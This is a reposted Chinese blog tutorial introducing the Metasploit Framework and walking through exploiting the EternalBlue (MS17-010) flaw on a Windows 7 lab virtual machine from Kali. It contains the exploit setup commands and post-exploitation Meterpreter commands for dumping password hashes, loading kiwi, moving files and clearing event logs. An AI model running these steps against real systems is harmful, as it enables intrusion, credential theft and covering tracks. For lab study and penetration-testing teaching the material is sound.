0


渗透测试工具-Metasploit使用复现永恒之蓝漏洞

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。

使用

1.渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
2.攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
3.溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
4.模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
5.监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

Msfconsole控制台

更新msf 输入 apt-get install metasploit-framework
kali中输入msfconsole进入

它是一个一体化集中控制台,允许你访问到几乎所有的MSF框架选项。MSF起初看似吓人的,但一旦你学习他的语法命令,你将会欣赏利用该接口的力量。

Msfconsole的好处

这是唯一能访问大多数支持在MSF特点。
Console-based界面提供了一个框架
具有最稳定的MSF的界面
充分支持Readline、Tabbing以及其它各类命令
支持Msfconsole外部命令执行

常用命令

? 执行?命令:帮助菜单
search 搜索模块名和描述。
use 使用命令
back 从当前环境返回。
Banner 命令,显示一个MSF的banner。
color 颜色转换
connect 连接一个主机
exit 退出MSF
info 显示一个或多个模块的信息
irb 进入irb脚本模式。
jobs 显示和管理作业(和windows任务管理器的进程作用一样)
kill 杀死一个作业(和结束进程的作用一样)。
loadpath 加载一个模块的路径。
quit 退出MSF。
load 加载一个插件。
route 查看一个会话的路由信息。
save 保存动作
set 给一个变量赋值
show 显示给所有类型的模块
setg 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中
sleep 在限定的秒数内什么也不做
unload 卸载一个模块
unset 解出一个或多个变量。
unsetg 解出一个或多个全局变量
version 显示MSF和控制台库版本
background:将当前session挂起
sessions[-l]:列出当前所有的session
sessions[-i] id:进入某个session

Exploits模块

命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口

Payloads模块

    是在使用一个模块之后再去使用的。
    命名规则:系统/类型/名称
    例如:Windows/dllinject/reverse_tcp
    类型命名规则
    shell:上传一个shell。
    dllinject:注入一个dll到进程。
    patchup***:修补漏洞。
    upexec:上传并执行一个文件。
    meterpreter:高级的payload。
    vncinject:高级的payload。
    passive:高级的payload。

名称的命名规则
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出 的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。

Auxiliary模块

情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到Msf里auxiliary里边的Modules,这里的Modules都是些渗透前期的辅助工具。一般的收集信息可以使用Whois(这个是Linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用Syn(一种不建立头层皮连接的扫描)扫描,可以在Msfconsole里边Search syn然后根据返回结果来确定使用哪个模块。

使用及复现

1.首先准备好环境这里打开了kali和win7两台虚拟机
在这里插入图片描述
2.首先需要确定目标是否存在该漏洞可以使用nmap -sV 目标IP 来扫描看一下 或者使用nessus对系统进行扫描
这里可以看到win7系统 并开放了445端口
在这里插入图片描述
3.打开kali上的metasploit服务 输入命令msfconsole打开
在这里插入图片描述
4.我们这里要利用永恒之蓝漏洞直接search ms17-010搜索该漏洞
结果显示0,1,4是exploit漏洞利用模块 2,3Auxiliary是辅助模块
在这里插入图片描述
5.由于前面已经确认有ms17-010该漏洞,直接使用使用ms17-010攻击模块(永恒之蓝)
在这里插入图片描述
6.然后可以使用 show options 命令来查看该模块需要配置的东西 required 为yes的需要配置
在这里插入图片描述7.设置一下目标ip地址 set rhosts 目标ip 下面payloads设置的是监听主机的ip和监听端口
在这里插入图片描述8.最后执行exploit或者run就可以攻击了 显示win攻击成功
在这里插入图片描述9.成功后可以执行命令来实现对目标的控制
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
load #使用扩展库
run #使用扩展库
clearev #清除日志
在这里插入图片描述

标签: 网络 安全 服务器

本文转载自: https://blog.csdn.net/weixin_53440207/article/details/129170533
版权归原作者 制冷少年的成长日记 所有, 如有侵权,请联系我们删除。

“渗透测试工具-Metasploit使用复现永恒之蓝漏洞”的评论:

还没有评论